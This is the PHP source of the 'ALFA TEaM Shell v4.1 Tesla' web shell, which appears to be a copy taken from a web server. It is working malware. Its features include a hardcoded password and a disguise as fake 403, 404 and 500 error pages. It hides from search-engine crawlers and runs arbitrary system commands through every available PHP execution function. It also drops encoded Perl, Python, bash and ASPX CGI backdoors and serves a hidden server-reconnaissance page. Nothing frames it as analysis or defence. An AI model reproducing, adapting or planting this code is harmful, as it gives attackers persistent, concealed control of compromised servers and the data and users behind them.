YouTube: https://youtube.com/solevisible
Gmail: solevisible@gmail.com
Date: Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
'username' => 'alfa',
'password' => 'a6f452ec3293d7fb72c5b677257b20ec',
//md5(ehsan)
'safe_mode' => '0',
'login_page' => '403',
'show_icons' => '1',
'post_encryption' => false,
'cgi_api' => true,
);
$CWppUDJxuf = 'function_exists';
$aztJtafUXm = 'charCodeAt';
$OVpGNqqFZs = 'eval';
$psDEwGhsxg = 'gzinflate';
if (!function_exists('base64_encode')) {
function vcnvSCZgBz($data)
{
if (empty($data)) {
return;
}
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data) {
return $data;
}
do {
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
} while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = strlen($data) % 3;
return ($r ? substr($enc, 0, $r - 3) : $enc) . substr('===', $r || 3);
}
function charCodeAt($data, $char)
{
return ord(substr($data, $char, 1));
}
function charAt($data, $char)
{
return substr($data, $char, 1);
}
} else {
function vcnvSCZgBz($s)
{
$b = 'base64_encode';
return base64_encode($s);
}
}
if (!$CWppUDJxuf('base64_decode')) {
function zRtSHsbTzV($input)
{
if (empty($input)) {
return;
}
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);
do {
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = $enc1 << 2 | $enc2 >> 4;
$chr2 = ($enc2 & 15) << 4 | $enc3 >> 2;
$chr3 = ($enc3 & 3) << 6 | $enc4;
$output .= chr((int) $chr1);
if ($enc3 != 64) {
$output .= chr((int) $chr2);
}
if ($enc4 != 64) {
$output .= chr((int) $chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
} while ($i < strlen($input));
return $output;
}
} else {
function zRtSHsbTzV($s)
{
$b = 'base64_decode';
return base64_decode($s);
}
}
function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value) {
$prefix = substr($key, 0, 2);
if ($prefix == "us") {
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
} elseif ($prefix == "pa") {
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
} elseif ($prefix == "sa") {
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
} elseif ($prefix == "lo") {
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
} elseif ($prefix == "sh") {
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
} elseif ($prefix == "po") {
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
} elseif ($prefix == "cg") {
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) {
exit;
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spider");
if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i", $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if (!isset($GLOBALS['DB_NAME']['user'])) {
exit('$GLOBALS[\'DB_NAME\'][\'user\']');
}
if (!isset($GLOBALS['DB_NAME']['pass'])) {
exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
}
if (!isset($GLOBALS['DB_NAME']['safemode'])) {
exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
}
if (!isset($GLOBALS['DB_NAME']['login_page'])) {
exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
}
if (!isset($GLOBALS['DB_NAME']['show_icons'])) {
exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
}
if (!isset($GLOBALS['DB_NAME']['post_encryption'])) {
exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
}
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", isset($GLOBALS["DB_NAME"]["post_encryption"]) && $GLOBALS["DB_NAME"]["post_encryption"] == true ? true : false);
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__ ? _AlfaSecretKey() : '');
$GLOBALS['__ALFA_COLOR__'] = array("shell_border" => array("key_color" => "#0E304A", "multi_selector" => array(".header" => "border: 7px solid {color}", "#meunlist" => "border-color: {color}", "#hidden_sh" => "background-color: {color}", ".ajaxarea" => "border: 1px solid {color}", ".foot" => "border-color: {color}")), "header_vars" => "#27979B", "header_values" => "#67ABDF", "header_on" => "#00FF00", "header_off" => "#ff0000", "header_none" => "#00FF00", "home_shell" => "#ff0000", "home_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".home_shell:hover" => "color: {color};")), "back_shell" => "#efbe73", "back_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".back_shell:hover" => "color: {color};")), "header_pwd" => "#00FF00", "header_pwd:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_pwd:hover" => "color: {color};")), "header_drive" => "#00FF00", "header_drive:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_drive:hover" => "color: {color};")), "header_show_all" => "#00FF00", "disable_functions" => "#ff0000", "footer_text" => "#27979B", "menu_options" => "#27979B", "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "options_list" => array("key_color" => "#00FF00", "multi_selector" => array(".content_options_holder .header center a" => "color: {color};")), "options_list:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".content_options_holder .header center a:hover" => "color: {color};")), "options_list_header" => array("key_color" => "#59cc33", "multi_selector" => array(".txtfont_header" => "color: {color};")), "options_list_text" => array("key_color" => "#FFFFFF", "multi_selector" => array(".txtfont,.tbltxt" => "color: {color};")), "Alfa+" => array("key_color" => "#06ff0f", "multi_selector" => array(".alfa_plus" => "color: {color};font-weight: unset;")), "hidden_shell_text" => array("key_color" => "#00FF00", "multi_selector" => array("#hidden_sh a" => "color: {color};")), "hidden_shell_version" => "#ff0000", "shell_name" => "#FF0000", "main_row:hover" => array("key_color" => "#646464", "multi_selector" => array(".main tr:hover" => "background-color: {color};")), "main_header" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main th" => "color: {color};")), "main_name" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .main_name" => "color: {color};font-weight: unset;")), "main_size" => "#67ABDF", "main_modify" => "#67ABDF", "main_owner_group" => "#67ABDF", "main_green_perm" => "#25ff00", "main_red_perm" => "#FF0000", "main_white_perm" => "#FFFFFF", "beetween_perms" => "#FFFFFF", "main_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .actions" => "color: {color};")), "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "minimize_editor_background" => array("key_color" => "#0e304a", "multi_selector" => array(".minimized-wrapper" => "background-color: {color};")), "minimize_editor_text" => array("key_color" => "#f5deb3", "multi_selector" => array(".minimized-text" => "color: {color};")), "editor_border" => array("key_color" => "#0e304a", "multi_selector" => array(".editor-explorer,.editor-modal" => "border: 2px solid {color};")), "editor_background" => array("key_color" => "rgba(0, 1, 23, 0.94)", "multi_selector" => array(".editor-explorer,.editor-modal" => "background-color: {color};")), "editor_header_background" => array("key_color" => "rgba(21, 66, 88, 0.93)", "multi_selector" => array(".editor-header" => "background-color: {color};")), "editor_header_text" => array("key_color" => "#00ff7f", "multi_selector" => array(".editor-path" => "color: {color};")), "editor_header_button" => array("key_color" => "#1d5673", "multi_selector" => array(".close-button, .editor-minimize" => "background-color: {color};")), "editor_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_actions" => "color: {color};")), "editor_file_info_vars" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_file_info_vars" => "color: {color};")), "editor_file_info_values" => array("key_color" => "#67ABDF", "multi_selector" => array(".filestools" => "color: {color};")), "editor_history_header" => array("key_color" => "#14ff07", "multi_selector" => array(".hheader-text,.history-clear" => "color: {color};")), "editor_history_list" => array("key_color" => "#03b3a3", "multi_selector" => array(".editor-file-name" => "color: {color};")), "editor_history_selected_file" => array("key_color" => "rgba(49, 55, 93, 0.77)", "multi_selector" => array(".is_active" => "background-color: {color};")), "editor_history_file:hover" => array("key_color" => "#646464", "multi_selector" => array(".file-holder > .history:hover" => "background-color: {color};")), "input_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("input[type=text],textarea" => "border: 1px solid {color}")), "input_box_text" => array("key_color" => "#999999", "multi_selector" => array("input[type=text],textarea" => "color: {color};")), "input_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "select_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("select" => "border: 1px solid {color}")), "select_box_text" => array("key_color" => "#FFFFEE", "multi_selector" => array("select" => "color: {color};")), "select_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "button_border" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit],.button,#addup" => "border: 1px solid {color};")), "button:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};", ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "outputs_text" => array("key_color" => "#67ABDF", "multi_selector" => array(".ml1" => "color: {color};")), "outputs_border" => array("key_color" => "#0E304A", "multi_selector" => array(".ml1" => "border: 1px solid {color};")), "uploader_border" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_background" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile strong" => "background-color: {color};")), "uploader_text_right" => array("key_color" => "#FFFFFF", "multi_selector" => array(".inputfile strong" => "color: {color};")), "uploader_text_left" => array("key_color" => "#25ff00", "multi_selector" => array(".inputfile span" => "color: {color};")), "uploader:hover" => array("key_color" => "#27979B", "multi_selector" => array(".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_progress_bar" => array("key_color" => "#00ff00", "multi_selector" => array(".up_bar" => "background-color: {color};")), "mysql_tables" => "#00FF00", "mysql_table_count" => "#67ABDF", "copyright" => "#dfff00", "scrollbar" => array("key_color" => "#1e82b5", "multi_selector" => array("*::-webkit-scrollbar-thumb" => "background-color: {color};")), "scrollbar_background" => array("key_color" => "#000115", "multi_selector" => array("*::-webkit-scrollbar-track" => "background-color: {color};")));
$GLOBALS['__file_path'] = str_replace('\\', '/', trim("/var/www/html/alfa.php.cc3c3f2d162faa4a0b5c4fd200d80604.bin"));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'], 'AlfaPass' => $GLOBALS['DB_NAME']['pass'], 'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'], 'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if ($config['AlfaProtectShell']) {
$SERVER_SIG = isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "";
$Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if ($config['AlfaLoginPage'] == 'gui') {
if (@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])) {
if (@$_POST["usrname"] == $config['AlfaUser'] && @md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo "\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v4.1-Tesla ~</title><center>\r\n<center><img style=\"border-radius:100px;\" width=\"500\" height=\"250\" alt=\"alfa team 2012\" draggable=\"false\" src=\"http://solevisible.com/images/alfa-iran.png\" /></center>\r\n<div id=loginbox><p><font face=\"verdana,arial\" size=-1>\r\n<center><table cellpadding='2' cellspacing='0' border='0' id='ap_table'>\r\n<tr><td bgcolor=\"green\"><table cellpadding='0' cellspacing='0' border='0' width='100%'><tr><td bgcolor=\"green\" align=center style=\"padding:2;padding-bottom:4\"><b><font color=\"white\" size=-1 color=\"white\" face=\"verdana,arial\"><b>~ ALFA TEaM Shell-v4.1-Tesla ~</b></font></th></tr>\r\n<tr><td bgcolor=\"black\" style=\"padding:5\">\r\n<form method=\"post\">\r\n<input type=\"hidden\" name=\"action\" value=\"login\">\r\n<input type=\"hidden\" name=\"hide\" value=\"\">\r\n<center><table>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Login:</font></td><td><input type=\"text\" size=\"30\" name=\"usrname\" placeholder=\"username\" onfocus=\"if (this.value == 'username'){this.value = '';}\"></td></tr>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Password:</font></td><td><input type=\"password\" size=\"30\" name=\"password\" placeholder=\"password\" onfocus=\"if (this.value == 'password') this.value = '';\"></td></tr>\r\n<tr><td><font face=\"verdana,arial\" size=-1> </font></td><td><font face=\"verdana,arial\" size=-1><input type=\"submit\" value=\"Login\"></font></td></tr></table>\r\n</div><br /></center>";
exit;
}
} elseif ($config['AlfaLoginPage'] == '500') {
if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
if (@md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
exit;
}
} elseif ($config['AlfaLoginPage'] == '403') {
if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
if (@md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
exit;
}
} elseif ($config['AlfaLoginPage'] == '404') {
if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
if (@md5($_POST["password"]) == $config['AlfaPass']) {
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: ' . $_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL " . $_SERVER['PHP_SELF'] . " was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
exit;
}
}
}
function decrypt_post($str)
{
if (__ALFA_POST_ENCRYPTION__) {
$pwd = __ALFA_SECRET_KEY__;
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_str = "";
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str)) {
break;
}
}
}
return __ZGVjb2Rlcg($enc_str);
} else {
return __ZGVjb2Rlcg($str);
}
}
function _AlfaSecretKey()
{
$secret = @$_COOKIE["AlfaSecretKey"];
if (!isset($_COOKIE["AlfaSecretKey"])) {
$secret = uniqid(mt_rand(), true);
__alfa_set_cookie("AlfaSecretKey", $secret);
}
return $secret;
}
function alfa_getColor($target)
{
if (isset($GLOBALS["DB_NAME"]["color"][$target]) && $GLOBALS["DB_NAME"]["color"][$target] != "") {
return $GLOBALS["DB_NAME"]["color"][$target];
} else {
$target = $GLOBALS["__ALFA_COLOR__"][$target];
if (is_array($target)) {
return $target["key_color"];
} else {
return $target;
}
}
}
function alfaCssLoadColors()
{
$css = "";
foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
if (!is_array($value)) {
$value = alfa_getColor($key);
$css .= ".{$key}{color: {$value};}";
} else {
if (isset($value["multi_selector"])) {
foreach ($value["multi_selector"] as $k => $v) {
$color = alfa_getColor($key);
$code = str_replace("{color}", $color, $v);
$css .= $k . "{" . $code . "}";
}
}
}
}
return $css;
}
if (isset($_POST['ajax'])) {
function AlfaNum()
{
$args = func_get_args();
$alfax = array();
$find = array();
for ($i = 1; $i <= 10; $i++) {
$alfax[] = $i;
}
foreach ($args as $arg) {
$find[] = $arg;
}
echo "<script>";
foreach ($alfax as $alfa) {
if (in_array($alfa, $find)) {
continue;
}
echo 'alfa' . $alfa . "_=";
}
echo "\"\"</script>";
}
}
function _alfa_cgicmd($cmd, $lang = "perl", $set_cookie = false)
{
if (!$GLOBALS["DB_NAME"]["cgi_api"]) {
return "";
}
if (isset($_COOKIE["alfacgiapi_mode"])) {
return "";
}
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
if ($is_curl || $is_socket) {
$recreate = false;
if (isset($_COOKIE["alfacgiapi"])) {
if (!@file_exists("alfacgiapi/" . $_COOKIE["alfacgiapi"] . ".alfa")) {
$recreate = true;
$lang = $_COOKIE["alfacgiapi"];
}
}
if (!isset($_COOKIE["alfacgiapi"]) || $recreate) {
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
if ($lang == "perl") {
$source = $perl;
} elseif ($lang == "py") {
$source = $py;
} else {
$source = $bash;
}
if ($lang == "aspx") {
alfaWriteTocgiapi("aspx.aspx", $aspx);
} else {
alfaWriteTocgiapi($lang . ".alfa", $source);
}
alfacgihtaccess('cgi', "alfacgiapi/");
} else {
$lang = $_COOKIE["alfacgiapi"];
}
$cgi_ext = ".alfa";
if ($lang == "aspx") {
$cgi_ext = ".aspx";
}
$cgi_url = "ALFA_DATA/alfacgiapi/" . $lang . $cgi_ext;
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=" . __ZW5jb2Rlcg("cd " . $GLOBALS['cwd'] . ";" . $cmd);
if ($is_curl) {
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
$post = new AlfaCURL();
$data = $post->Send($address, "post", $cmd);
} elseif ($is_socket) {
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
$data = _alfa_fsockopen($server, $uri, $cmd);
}
$out = "";
if (strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false) {
if ($set_cookie) {
__alfa_set_cookie("alfacgiapi", $lang);
}
if (@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)) {
$out = $res[1];
}
} elseif ($lang == "perl") {
return _alfa_cgicmd($cmd_pure, "py", $set_cookie);
} elseif ($lang == "py") {
return _alfa_cgicmd($cmd_pure, "bash", $set_cookie);
} elseif ($lang == "bash" && $GLOBALS['sys'] == "win") {
return _alfa_cgicmd($cmd_pure, "aspx", $set_cookie);
} else {
if ($set_cookie) {
__alfa_set_cookie("alfacgiapi_mode", "off");
}
}
return trim($out);
} else {
return "";
}
}
function alfaGetCwd()
{
if (function_exists("getcwd")) {
return @getcwd();
} else {
return dirname($_SERVER["SCRIPT_FILENAME"]);
}
}
function alfaEx($in, $re = false, $cgi = true, $all = false)
{
$data = _alfa_php_cmd($in, $re);
if (empty($data) && $cgi || $all) {
if ($GLOBALS['sys'] == 'unix') {
if (strlen(_alfa_php_cmd("whoami")) == 0 || $all) {
$cmd = _alfa_cgicmd($in);
if (!empty($cmd)) {
return $cmd;
}
}
}
}
return $data;
}
function _alfa_php_cmd($in, $re = false)
{
$out = '';
try {
if ($re) {
$in .= " 2>&1";
}
if (function_exists('exec')) {
@exec($in, $out);
$out = @join("\n", $out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (function_exists("popen") && function_exists("pclose")) {
if (is_resource($f = @popen($in, "r"))) {
$out = "";
while (!@feof($f)) {
$out .= fread($f, 1024);
}
pclose($f);
}
} elseif (function_exists('proc_open')) {
$pipes = array();
$process = @proc_open($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
$out = @stream_get_contents($pipes[1]);
} elseif (class_exists('COM')) {
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c ' . $_POST['alfa1']);
$stdout = $exec->StdOut();
$out = $stdout->ReadAll();
}
} catch (Exception $e) {
}
return $out;
}
function _alfa_fsockopen($server, $uri, $post)
{
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if ($socket) {
$http = "POST {$uri} HTTP/1.0\r\n";
$http .= "Host: {$server}\r\n";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("\r\n\r\n", $contents, 2);
@fclose($socket);
return $body;
} else {
return "";
}
}
if (isset($_GET["solevisible"])) {
@error_reporting("\x00\x00\x0f\x03\x18");
echo "<html>";
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">' . (function_exists('php_uname') ? php_uname() : '???') . '</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if ($safe_mode) {
$r = "<b style='color: red'>On</b>";
} else {
$r = "<b style='color: green'>Off</b>";
}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>PHP_OS</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>PHP_VERSION</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\", "/", @alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : {$r}<br>";
echo "<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if (empty($disfun)) {
$disfun = '<font color="green">NONE</font>';
}
echo "<font color=red>";
echo "{$disfun}";
echo "</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>" . (function_exists('gethostbyname') ? @gethostbyname($_SERVER["HTTP_HOST"]) : '???') . "</font><br><p>";
